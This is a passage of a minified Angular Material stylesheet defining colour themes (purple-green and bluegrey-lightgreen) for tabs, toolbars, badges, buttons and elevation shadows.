.mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#69f0ae}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#000000de}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#0006}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#000000de}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#000;opacity:.4}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#000;opacity:.12}.purple-green-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.purple-green-theme .mat-toolbar{background:#212121;color:#fff}.purple-green-theme .mat-toolbar.mat-primary{background:#7b1fa2;color:#fff}.purple-green-theme .mat-toolbar.mat-accent{background:#69f0ae;color:#000000de}.purple-green-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.purple-green-theme .mat-toolbar .mat-form-field-underline,.purple-green-theme .mat-toolbar .mat-form-field-ripple,.purple-green-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.purple-green-theme .mat-toolbar .mat-form-field-label,.purple-green-theme .mat-toolbar .mat-focused .mat-form-field-label,.purple-green-theme .mat-toolbar .mat-select-value,.purple-green-theme .mat-toolbar .mat-select-arrow,.purple-green-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.purple-green-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.purple-green-theme .mat-tooltip{background:rgba(97,97,97,.9)}.purple-green-theme .mat-tree{background:#424242}.purple-green-theme .mat-tree-node,.purple-green-theme .mat-nested-tree-node{color:#fff}.purple-green-theme .mat-snack-bar-container{color:#000000de;background:#fafafa;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.purple-green-theme .mat-simple-snackbar-action{color:inherit}.purple-green-theme a:link,.purple-green-theme a:visited{color:#b9f6ca;text-decoration:none}.purple-green-theme a:hover,.purple-green-theme a:focus,.purple-green-theme a:active{text-decoration:underline}.purple-green-theme a{outline:none}.purple-green-theme .confirmation{color:#69f0ae}.purple-green-theme .ribbon:before{border:5px solid #69f0ae}.purple-green-theme .ribbon span{background-color:#69f0ae}.purple-green-theme .error{color:#f44336}.purple-green-theme .ribbon-sold:before{border:5px solid #f44336}.purple-green-theme .ribbon-sold span{background-color:#f44336}.purple-green-theme .primary-notification{background-color:#6a1b9a}.purple-green-theme .accent-notification{background-color:#00e676}.purple-green-theme .warn-notification{background-color:#d32f2f}.purple-green-theme .img-thumbnail{background-color:#7b1fa20d;border:1px solid #7b1fa2;border-radius:3px;padding:3px}.purple-green-theme .empty-star{stop-color:#7b1fa2}.purple-green-theme .filled-star{stop-color:#69f0ae}.purple-green-theme .star-border{stroke:#69f0ae}.purple-green-theme .mat-snack-bar-container{background-color:#424242!important;color:#fff!important}.purple-green-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.purple-green-theme .mat-snack-bar-container.confirmBar{color:#69f0ae!important}.purple-green-theme .google-button{background-color:#00e676!important}.purple-green-theme .deluxe-membership{background:linear-gradient(90deg,#7b1fa2 0%,#424242 100%)}.purple-green-theme .overlay{background:rgba(106,27,154,.7)}.bluegrey-lightgreen-theme{--theme-primary: #546e7a;--theme-primary-lighter: #607e8c;--theme-primary-light: #698998;--theme-primary-darker: #485e68;--theme-primary-dark: #3f535c;--theme-primary-fade-10: rgba(84, 110, 122, .9);--theme-primary-fade-20: rgba(84, 110, 122, .8);--theme-primary-fade-30: rgba(84, 110, 122, .7);--theme-primary-fade-40: rgba(84, 110, 122, .6);--theme-primary-fade-50: rgba(84, 110, 122, .5);--theme-accent: #689f38;--theme-accent-lighter: #77b640;--theme-accent-light: #81bf4b;--theme-accent-darker: #598830;--theme-accent-dark: #4f792b;--theme-accent-fade-10: rgba(104, 159, 56, .9);--theme-accent-fade-20: rgba(104, 159, 56, .8);--theme-accent-fade-30: rgba(104, 159, 56, .7);--theme-accent-fade-40: rgba(104, 159, 56, .6);--theme-accent-fade-50: rgba(104, 159, 56, .5);--theme-warn: #ff5722;--theme-warn-lighter: #ff6e41;--theme-warn-light: #ff7e55;--theme-warn-darker: #ff4003;--theme-warn-dark: #ee3900;--theme-warn-fade-10: rgba(255, 87, 34, .9);--theme-warn-fade-20: rgba(255, 87, 34, .8);--theme-warn-fade-30: rgba(255, 87, 34, .7);--theme-warn-fade-40: rgba(255, 87, 34, .6);--theme-warn-fade-50: rgba(255, 87, 34, .5);--theme-text: white;--theme-text-lighter: white;--theme-text-light: white;--theme-text-darker: #e6e6e6;--theme-text-dark: #bfbfbf;--theme-text-fade-10: rgba(255, 255, 255, .9);--theme-text-fade-20: rgba(255, 255, 255, .8);--theme-text-fade-30: rgba(255, 255, 255, .7);--theme-text-fade-40: rgba(255, 255, 255, .6);--theme-text-fade-50: rgba(255, 255, 255, .5);--theme-text-invert-15: #d9d9d9;--theme-text-invert-30: #b3b3b3;--theme-background: #424242;--theme-background-lighter: #515151;--theme-background-light: #5c5c5c;--theme-background-darker: #333333;--theme-background-dark: #292929;--theme-background-darkest: #1e1e1e}.bluegrey-lightgreen-theme .mat-ripple-element{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-option{color:#fff}.bluegrey-lightgreen-theme .mat-option:hover:not(.mat-option-disabled),.bluegrey-lightgreen-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(255,255,255,.04)}.bluegrey-lightgreen-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(255,255,255,.04)}.bluegrey-lightgreen-theme .mat-option.mat-active{background:rgba(255,255,255,.04);color:#fff}.bluegrey-lightgreen-theme .mat-option.mat-option-disabled{color:#ffffff80}.bluegrey-lightgreen-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#546e7a}.bluegrey-lightgreen-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#689f38}.bluegrey-lightgreen-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#ff5722}.bluegrey-lightgreen-theme .mat-optgroup-label{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-optgroup-disabled .mat-optgroup-label{color:#ffffff80}.bluegrey-lightgreen-theme .mat-pseudo-checkbox{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-pseudo-checkbox:after{color:#303030}.bluegrey-lightgreen-theme .mat-pseudo-checkbox-disabled{color:#686868}.bluegrey-lightgreen-theme .mat-primary .mat-pseudo-checkbox-checked,.bluegrey-lightgreen-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#546e7a}.bluegrey-lightgreen-theme .mat-pseudo-checkbox-checked,.bluegrey-lightgreen-theme .mat-pseudo-checkbox-indeterminate,.bluegrey-lightgreen-theme .mat-accent .mat-pseudo-checkbox-checked,.bluegrey-lightgreen-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#689f38}.bluegrey-lightgreen-theme .mat-warn .mat-pseudo-checkbox-checked,.bluegrey-lightgreen-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#ff5722}.bluegrey-lightgreen-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.bluegrey-lightgreen-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#686868}.bluegrey-lightgreen-theme .mat-app-background,.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}.bluegrey-lightgreen-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.bluegrey-lightgreen-theme .mat-autocomplete-panel{background:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.bluegrey-lightgreen-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:#424242}.bluegrey-lightgreen-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#fff}.bluegrey-lightgreen-theme .mat-badge{position:relative}.bluegrey-lightgreen-theme .mat-badge.mat-badge{overflow:visible}.bluegrey-lightgreen-theme .mat-badge-hidden .mat-badge-content{display:none}.bluegrey-lightgreen-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.bluegrey-lightgreen-theme .ng-animate-disabled .mat-badge-content,.bluegrey-lightgreen-theme .mat-badge-content._mat-animation-noopable{transition:none}.bluegrey-lightgreen-theme .mat-badge-content.mat-badge-active{transform:none}.bluegrey-lightgreen-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.bluegrey-lightgreen-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.bluegrey-lightgreen-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.bluegrey-lightgreen-theme .mat-badge-content{color:#fff;background:#546e7a}.cdk-high-contrast-active .bluegrey-lightgreen-theme .mat-badge-content{outline:solid 1px;border-radius:0}.bluegrey-lightgreen-theme .mat-badge-accent .mat-badge-content{background:#689f38;color:#fff}.bluegrey-lightgreen-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#ff5722}.bluegrey-lightgreen-theme .mat-badge-disabled .mat-badge-content{background:#6e6e6e;color:#ffffff80}.bluegrey-lightgreen-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-button,.bluegrey-lightgreen-theme .mat-icon-button,.bluegrey-lightgreen-theme .mat-stroked-button{color:inherit;background:transparent}.bluegrey-lightgreen-theme .mat-button.mat-primary,.bluegrey-lightgreen-theme .mat-icon-button.mat-primary,.bluegrey-lightgreen-theme .mat-stroked-button.mat-primary{color:#546e7a}.bluegrey-lightgreen-theme .mat-button.mat-accent,.bluegrey-lightgreen-theme .mat-icon-button.mat-accent,.bluegrey-lightgreen-theme .mat-stroked-button.mat-accent{color:#689f38}.bluegrey-lightgreen-theme .mat-button.mat-warn,.bluegrey-lightgreen-theme .mat-icon-button.mat-warn,.bluegrey-lightgreen-theme .mat-stroked-button.mat-warn{color:#ff5722}.bluegrey-lightgreen-theme .mat-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-icon-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-icon-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-icon-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-stroked-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-stroked-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-stroked-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.bluegrey-lightgreen-theme .mat-button.mat-primary .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-button.mat-accent .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#689f38}.bluegrey-lightgreen-theme .mat-button.mat-warn .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.bluegrey-lightgreen-theme .mat-button .mat-ripple-element,.bluegrey-lightgreen-theme .mat-icon-button .mat-ripple-element,.bluegrey-lightgreen-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.bluegrey-lightgreen-theme .mat-button-focus-overlay{background:white}.bluegrey-lightgreen-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-flat-button,.bluegrey-lightgreen-theme .mat-raised-button,.bluegrey-lightgreen-theme .mat-fab,.bluegrey-lightgreen-theme .mat-mini-fab{color:#fff;background-color:#424242}.bluegrey-lightgreen-theme .mat-flat-button.mat-primary,.bluegrey-lightgreen-theme .mat-raised-button.mat-primary,.bluegrey-lightgreen-theme .mat-fab.mat-primary,.bluegrey-lightgreen-theme .mat-mini-fab.mat-primary,.bluegrey-lightgreen-theme .mat-flat-button.mat-accent,.bluegrey-lightgreen-theme .mat-raised-button.mat-accent,.bluegrey-lightgreen-theme .mat-fab.mat-accent,.bluegrey-lightgreen-theme .mat-mini-fab.mat-accent,.bluegrey-lightgreen-theme .mat-flat-button.mat-warn,.bluegrey-lightgreen-theme .mat-raised-button.mat-warn,.bluegrey-lightgreen-theme .mat-fab.mat-warn,.bluegrey-lightgreen-theme .mat-mini-fab.mat-warn{color:#fff}.bluegrey-lightgreen-theme .mat-flat-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.bluegrey-lightgreen-theme .mat-flat-button.mat-primary,.bluegrey-lightgreen-theme .mat-raised-button.mat-primary,.bluegrey-lightgreen-theme .mat-fab.mat-primary,.bluegrey-lightgreen-theme .mat-mini-fab.mat-primary{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-flat-button.mat-accent,.bluegrey-lightgreen-theme .mat-raised-button.mat-accent,.bluegrey-lightgreen-theme .mat-fab.mat-accent,.bluegrey-lightgreen-theme .mat-mini-fab.mat-accent{background-color:#689f38}.bluegrey-lightgreen-theme .mat-flat-button.mat-warn,.bluegrey-lightgreen-theme .mat-raised-button.mat-warn,.bluegrey-lightgreen-theme .mat-fab.mat-warn,.bluegrey-lightgreen-theme .mat-mini-fab.mat-warn{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-flat-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme 